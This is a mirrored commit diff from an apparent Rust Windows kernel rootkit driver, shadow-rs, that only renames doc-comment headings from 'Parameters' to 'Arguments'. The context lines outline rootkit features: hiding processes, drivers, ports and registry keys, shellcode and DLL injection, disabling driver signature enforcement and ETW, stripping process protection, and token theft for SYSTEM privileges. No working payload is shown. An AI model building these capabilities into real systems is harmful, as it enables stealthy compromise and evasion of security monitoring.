mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-09 18:44:22 +01:00
docs(driver): Adjusts documentation to use 'Arguments' instead of 'Parameters'
This commit is contained in:
@@ -110,7 +110,7 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC
|
||||
|
||||
/// Finds the type of the callback and calls the function responsible for it.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `callback`: target callback that will be called.
|
||||
///
|
||||
|
||||
@@ -17,7 +17,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the callback-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -25,7 +25,7 @@ static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Laz
|
||||
pub trait CallbackList {
|
||||
/// Restore a callback from the specified routine.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
///
|
||||
@@ -37,7 +37,7 @@ pub trait CallbackList {
|
||||
|
||||
/// Removes a callback from the specified routine.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
///
|
||||
@@ -49,7 +49,7 @@ pub trait CallbackList {
|
||||
|
||||
/// Searches for a module associated with a callback and updates callback information.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
/// - `callback_info`: Pointer to the callback information output.
|
||||
@@ -63,7 +63,7 @@ pub trait CallbackList {
|
||||
|
||||
/// List of callbacks currently removed.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
/// - `callback_info`: Pointer to the callback information output.
|
||||
|
||||
@@ -16,7 +16,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the driver-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -27,7 +27,7 @@ pub struct Driver;
|
||||
impl Driver {
|
||||
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||
///
|
||||
@@ -46,7 +46,7 @@ impl Driver {
|
||||
|
||||
/// Hides the driver by unlinking it from the loaded module list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
||||
///
|
||||
@@ -105,7 +105,7 @@ impl Driver {
|
||||
|
||||
/// Hides the driver by unlinking it from the loaded module list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
||||
///
|
||||
@@ -144,7 +144,7 @@ impl Driver {
|
||||
|
||||
/// Enumerates loaded drivers and stores the information in the provided buffer.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `driver_info`: A pointer to a buffer where `DriverInfo` structures will be stored.
|
||||
/// - `information`: A mutable reference to a `usize` that will store the total size of the information written.
|
||||
|
||||
@@ -21,7 +21,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the injection-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -43,7 +43,7 @@ pub struct InjectionShellcode;
|
||||
impl InjectionShellcode {
|
||||
/// Injection Shellcode in Thread.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
|
||||
///
|
||||
@@ -127,7 +127,7 @@ impl InjectionShellcode {
|
||||
|
||||
/// Injection Shellcode in APC.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
|
||||
///
|
||||
@@ -230,7 +230,7 @@ pub struct InjectionDLL;
|
||||
impl InjectionDLL {
|
||||
/// DLL Injection.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target`: The target process identifier (PID) and the path containing the injection dll.
|
||||
///
|
||||
|
||||
@@ -50,7 +50,7 @@ const DOS_DEVICE_NAME: &str = "\\??\\shadow";
|
||||
///
|
||||
/// This function is called by the system when the driver is loaded.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `driver_object`: Pointer to the driver object.
|
||||
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
||||
@@ -87,7 +87,7 @@ pub unsafe extern "system" fn driver_entry(
|
||||
/// This function is called by the system when the driver is loaded. It is responsible for
|
||||
/// initializing the driver, creating the device object and setting up the symbolic link.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `driver_object`: Pointer to the driver object.
|
||||
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
||||
@@ -161,7 +161,7 @@ pub unsafe extern "system" fn shadow_entry(
|
||||
///
|
||||
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `_device`: Pointer to the device object (not used in this function).
|
||||
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
||||
@@ -191,7 +191,7 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I
|
||||
/// This function is called when an open instance of the device is closed.
|
||||
/// It marks the I/O request (IRP) as successfully completed.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `_device_object`: Pointer to the associated device object (not used in this function).
|
||||
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
|
||||
@@ -212,7 +212,7 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
|
||||
/// This function is called when the driver is being unloaded from the system.
|
||||
/// It removes the symbolic link and deletes the device object associated with the driver.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `driver_object`: Pointer to the driver object being unloaded.
|
||||
///
|
||||
@@ -243,7 +243,7 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||
|
||||
/// Register Callbacks.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `driver_object`: Pointer to the driver object being unloaded.
|
||||
///
|
||||
|
||||
@@ -13,7 +13,7 @@ pub struct Dse;
|
||||
impl Dse {
|
||||
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info_dse`: A pointer to the `DSE` structure containing information about the state of the DSE.
|
||||
///
|
||||
|
||||
@@ -22,7 +22,7 @@ pub struct Etw;
|
||||
impl Etw {
|
||||
/// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
|
||||
///
|
||||
|
||||
@@ -15,7 +15,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the misc-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -11,7 +11,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the module-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -32,7 +32,7 @@ impl Module {
|
||||
|
||||
/// Enumerates modules in a given target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated.
|
||||
/// - `module_info`: A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules.
|
||||
@@ -124,7 +124,7 @@ impl Module {
|
||||
|
||||
/// Hides a module in a target process by removing its entries from the module list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target`: A pointer to a `TargetModule` structure containing information about the module to be hidden.
|
||||
///
|
||||
@@ -191,7 +191,7 @@ impl Module {
|
||||
|
||||
/// Removing the module name in the FILE_OBJECT structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target_address`: The address of the module to hide.
|
||||
/// - `target_eprocess`: The target process structure.
|
||||
@@ -256,7 +256,7 @@ impl Module {
|
||||
|
||||
/// Removes a link from the list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `list`: A mutable reference to the `LIST_ENTRY` structure to unlink.
|
||||
///
|
||||
|
||||
@@ -13,7 +13,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the port-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -155,7 +155,7 @@ impl Port {
|
||||
/// and the control code matches `NIS_CONTROL_CODE`. It intercepts TCP and UDP entries,
|
||||
/// allowing modification of network data, such as filtering specific ports.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `device_object`: A pointer to the device object.
|
||||
/// - `irp`: A pointer to the IRP (I/O Request Packet).
|
||||
@@ -198,7 +198,7 @@ impl Port {
|
||||
/// This function is called after the original completion routine is invoked. It inspects the network
|
||||
/// table entries (TCP or UDP) and can remove or modify entries based on certain conditions (e.g., port filtering).
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `device_object`: A pointer to the device object.
|
||||
/// - `irp`: A pointer to the IRP (I/O Request Packet).
|
||||
@@ -292,7 +292,7 @@ impl NetworkUtils {
|
||||
/// This function uses `ProbeForRead` to check whether a memory address is valid and accessible.
|
||||
/// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `address`: The memory address to validate.
|
||||
///
|
||||
@@ -322,7 +322,7 @@ impl NetworkUtils {
|
||||
/// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively
|
||||
/// "hiding" specific network ports.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `entries`: A pointer to the list of TCP or UDP entries.
|
||||
/// - `count`: The total number of entries in the table.
|
||||
|
||||
@@ -11,7 +11,7 @@ pub static PROTECTED_PORTS: Lazy<Mutex<Vec<PortInfo>>> = Lazy::new(|| Mutex::new
|
||||
|
||||
/// Method to toggle the addition or removal of a port from the list of protected ports.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `port`: `PortInfo` structure with information about the port to be added or removed.
|
||||
///
|
||||
@@ -29,7 +29,7 @@ pub fn add_remove_port_toggle(port: *mut PortInfo) -> NTSTATUS {
|
||||
|
||||
/// Method to add a port to the list of protected ports.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `port`: `PortInfo` structure with information about the port to be protected.
|
||||
///
|
||||
@@ -58,7 +58,7 @@ fn add_target_port(port: *mut PortInfo) -> NTSTATUS {
|
||||
|
||||
/// Method to remove a port from the list of protected ports.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `port`: `PortInfo` structure with information about the port to be removed.
|
||||
///
|
||||
|
||||
@@ -26,7 +26,7 @@ static TARGET_PIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
|
||||
|
||||
/// Method to check if the action sent is to add or remove a pid from the list of protected processes
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: Structure with information about the process that will be added or removed from the list of protected processes.
|
||||
///
|
||||
@@ -45,7 +45,7 @@ pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS {
|
||||
|
||||
/// Method for adding the list of processes that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
@@ -73,7 +73,7 @@ fn add_target_pid(pid: usize) -> NTSTATUS {
|
||||
|
||||
/// Method for removing the list of processes that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
@@ -95,7 +95,7 @@ fn remove_target_pid(pid: usize) -> NTSTATUS {
|
||||
|
||||
/// Enumerate Processes Protect.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected.
|
||||
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures.
|
||||
@@ -120,7 +120,7 @@ pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo,
|
||||
/// The object (process) pre-operation callback function used to filter process opening operations.
|
||||
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `_registration_context`: Pointer to record context (Not used).
|
||||
/// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
||||
|
||||
@@ -24,7 +24,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the process-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
///
|
||||
|
||||
@@ -42,7 +42,7 @@ pub struct Process {
|
||||
impl Process {
|
||||
/// Creates a new `Process` instance by looking up a process by its PID.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The process identifier (PID) to look up.
|
||||
///
|
||||
@@ -65,7 +65,7 @@ impl Process {
|
||||
|
||||
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||
///
|
||||
@@ -84,7 +84,7 @@ impl Process {
|
||||
|
||||
/// Hide a process by removing it from the list of active processes.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
@@ -133,7 +133,7 @@ impl Process {
|
||||
|
||||
/// Unhide a process by removing it from the list of active processes.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: The identifier of the target process (PID) to be hidden.
|
||||
///
|
||||
@@ -186,7 +186,7 @@ impl Process {
|
||||
|
||||
/// Toggles the enumeration between hiding or protecting processes based on the options provided.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `input_target`: Pointer to the enumeration information input structure.
|
||||
/// - `info_process`: Information structure of processes.
|
||||
@@ -214,7 +214,7 @@ impl Process {
|
||||
|
||||
/// Enumerate Processes Hide.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info_process`: It is a parameter of type `ProcessListInfo` that will send the processes that are currently hidden.
|
||||
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `ProcessListInfo` structures.
|
||||
@@ -238,7 +238,7 @@ impl Process {
|
||||
|
||||
/// Terminate a process specified by the PID (Process Identifier).
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The identifier of the target process (PID) to terminate process.
|
||||
///
|
||||
@@ -282,7 +282,7 @@ impl Process {
|
||||
|
||||
/// Removing process signature (PP / PPL).
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The identifier of the target process (PID) to remove protection.
|
||||
///
|
||||
@@ -317,7 +317,7 @@ impl Process {
|
||||
/// to the token of the system process, effectively elevating the privileges of the target process
|
||||
/// to those of the system (NT AUTHORITY\SYSTEM).
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `pid`: The identifier of the target process (PID) whose token will be raised.
|
||||
///
|
||||
|
||||
@@ -29,7 +29,7 @@ pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() }
|
||||
|
||||
/// The registry callback function handles registry-related operations based on the notification class.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `_callback_context`: A pointer to the callback context, usually not used.
|
||||
/// - `argument1`: A pointer to the notification class.
|
||||
@@ -74,7 +74,7 @@ pub unsafe extern "C" fn registry_callback(
|
||||
|
||||
/// Handles the pre-delete key operation.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`.
|
||||
///
|
||||
@@ -104,7 +104,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
||||
|
||||
/// Performs the post-operation to enumerate registry key values.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: Pointer to the information structure of the post-execution logging operation.
|
||||
///
|
||||
@@ -180,7 +180,7 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
||||
|
||||
/// Performs the post-operation to enumerate registry keys.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: Pointer to the information structure of the post-execution logging operation.
|
||||
///
|
||||
@@ -258,7 +258,7 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
||||
|
||||
/// Handles the pre-query key operation.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to `REG_QUERY_KEY_INFORMATION`.
|
||||
///
|
||||
@@ -288,7 +288,7 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
||||
|
||||
/// Handles the pre-delete value key operation.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
|
||||
///
|
||||
@@ -322,7 +322,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
|
||||
|
||||
/// Handles the pre-set value key operation.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
|
||||
///
|
||||
@@ -356,7 +356,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
|
||||
|
||||
/// Reads the key name from the registry information.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: A pointer to the registry information.
|
||||
///
|
||||
|
||||
@@ -18,7 +18,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the registry-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -32,7 +32,7 @@ static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(|| Mutex:
|
||||
trait RegistryList<T> {
|
||||
/// Adds an item to the registry list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `list`: A mutable reference to the list.
|
||||
/// - `item`: The item to be added.
|
||||
@@ -45,7 +45,7 @@ trait RegistryList<T> {
|
||||
|
||||
/// Removes an item from the registry list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `list`: A mutable reference to the list.
|
||||
/// - `item`: The item to be removed.
|
||||
@@ -58,7 +58,7 @@ trait RegistryList<T> {
|
||||
|
||||
/// Checks if an item is in the registry list.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `list`: A reference to the list.
|
||||
/// - `item`: The item to be checked.
|
||||
@@ -142,7 +142,7 @@ pub struct Registry<T> {
|
||||
impl Registry<(String, String)> {
|
||||
/// Adds or removes a key-value pair from the list of protected values.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `target`: The `TargetRegistry` structure representing the key-value pair to be protected or removed.
|
||||
///
|
||||
@@ -179,7 +179,7 @@ impl Registry<(String, String)> {
|
||||
|
||||
/// Checks if the key-value pair is in the list of protected values.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `key`: The key being checked.
|
||||
/// - `value`: The value being checked.
|
||||
///
|
||||
@@ -194,7 +194,7 @@ impl Registry<(String, String)> {
|
||||
impl Registry<String> {
|
||||
/// Adds or removes a key from the list of protected keys.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `key`: The key to be protected or removed.
|
||||
/// - `enable`: A boolean indicating whether to add (true) or remove (false) the key.
|
||||
@@ -231,7 +231,7 @@ impl Registry<String> {
|
||||
|
||||
/// Checks if the key is in the list of protected keys.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `key`: The key being checked.
|
||||
///
|
||||
|
||||
@@ -17,7 +17,7 @@ use {
|
||||
|
||||
/// Checks if the key is present.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info`: Pointer to the record operation information structure.
|
||||
/// - `key`: Name of the key to be checked.
|
||||
@@ -55,7 +55,7 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
||||
|
||||
/// Checks if the key value is present.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `info`: Pointer to the record operation information structure.
|
||||
/// - `key`: Name of the key to be checked.
|
||||
///
|
||||
@@ -100,7 +100,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
||||
|
||||
/// Enumerate the target key.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `key_handle`: Handle of the target key.
|
||||
/// - `index`: Index to be listed.
|
||||
/// - `buffer`: Buffer that will store the key.
|
||||
@@ -164,7 +164,7 @@ pub unsafe fn enumerate_key(
|
||||
|
||||
/// Enumerates values of the target key
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `key_handle`: Handle of the target key.
|
||||
/// - `index`: Index to be listed.
|
||||
/// - `buffer`: Buffer that will store the key values.
|
||||
|
||||
@@ -21,7 +21,7 @@ static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(|| Mutex::new(Vec::with_
|
||||
|
||||
/// Method to check if the action sent is to add or remove a tid from the list of protected threads
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `process`: Structure with information about the process that will be added or removed from the list of protected threads.
|
||||
///
|
||||
/// # Returns
|
||||
@@ -37,7 +37,7 @@ pub fn add_remove_thread_toggle(process: *mut ThreadProtection) -> NTSTATUS {
|
||||
|
||||
/// Method for adding the list of threads that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `tid`: The identifier of the target process (tid) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
@@ -63,7 +63,7 @@ fn add_target_tid(tid: usize) -> NTSTATUS {
|
||||
|
||||
/// Method for removing the list of threads that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `tid`: The identifier of the target process (tid) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
@@ -88,7 +88,7 @@ fn remove_target_tid(tid: usize) -> NTSTATUS {
|
||||
|
||||
/// Enumerate threads Protect.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `info_process`: It is a parameter of type `Infothreads` that will send the threads that are currently protected.
|
||||
/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
|
||||
///
|
||||
@@ -110,7 +110,7 @@ pub unsafe fn enumerate_protection_threads(info_process: *mut ThreadListInfo, in
|
||||
|
||||
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `_registration_context`: A pointer to the registration context (unused).
|
||||
/// - `info`: A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
|
||||
///
|
||||
|
||||
@@ -24,7 +24,7 @@ use {
|
||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
||||
/// their respective IOCTL codes. The two operations supported are:
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the thread-related
|
||||
/// IOCTL handlers will be inserted.
|
||||
|
||||
@@ -37,7 +37,7 @@ pub struct Thread {
|
||||
impl Thread {
|
||||
/// Creates a new `Thread` instance by looking up a thread by its TID.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `tid`: The process identifier (TID) to look up.
|
||||
///
|
||||
@@ -60,7 +60,7 @@ impl Thread {
|
||||
|
||||
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||
///
|
||||
@@ -78,7 +78,7 @@ impl Thread {
|
||||
|
||||
/// Hides a thread by removing it from the list of active threads.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
/// - `tid`: The identifier of the target thread (TID) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
@@ -131,7 +131,7 @@ impl Thread {
|
||||
|
||||
/// Unhide a process by removing it from the list of active threads.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `tid`: The identifier of the target process (TID) to be hidden.
|
||||
///
|
||||
@@ -188,7 +188,7 @@ impl Thread {
|
||||
|
||||
/// Enumerates and hides threads by populating the provided `ThreadListInfo` structure with thread IDs.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
|
||||
/// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data.
|
||||
@@ -211,7 +211,7 @@ impl Thread {
|
||||
|
||||
/// Enumerates threads and performs actions based on the specified options (hide or protection).
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `input_target`: A pointer to the `EnumerateInfoInput` structure containing the target options.
|
||||
/// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated.
|
||||
|
||||
@@ -12,7 +12,7 @@ use {
|
||||
|
||||
/// Gets the base address of a specified module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
|
||||
///
|
||||
/// - `module_name`: A string slice containing the name of the module.
|
||||
///
|
||||
@@ -61,7 +61,7 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void>
|
||||
|
||||
/// Gets the address of a specified function within a module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// # Arguments
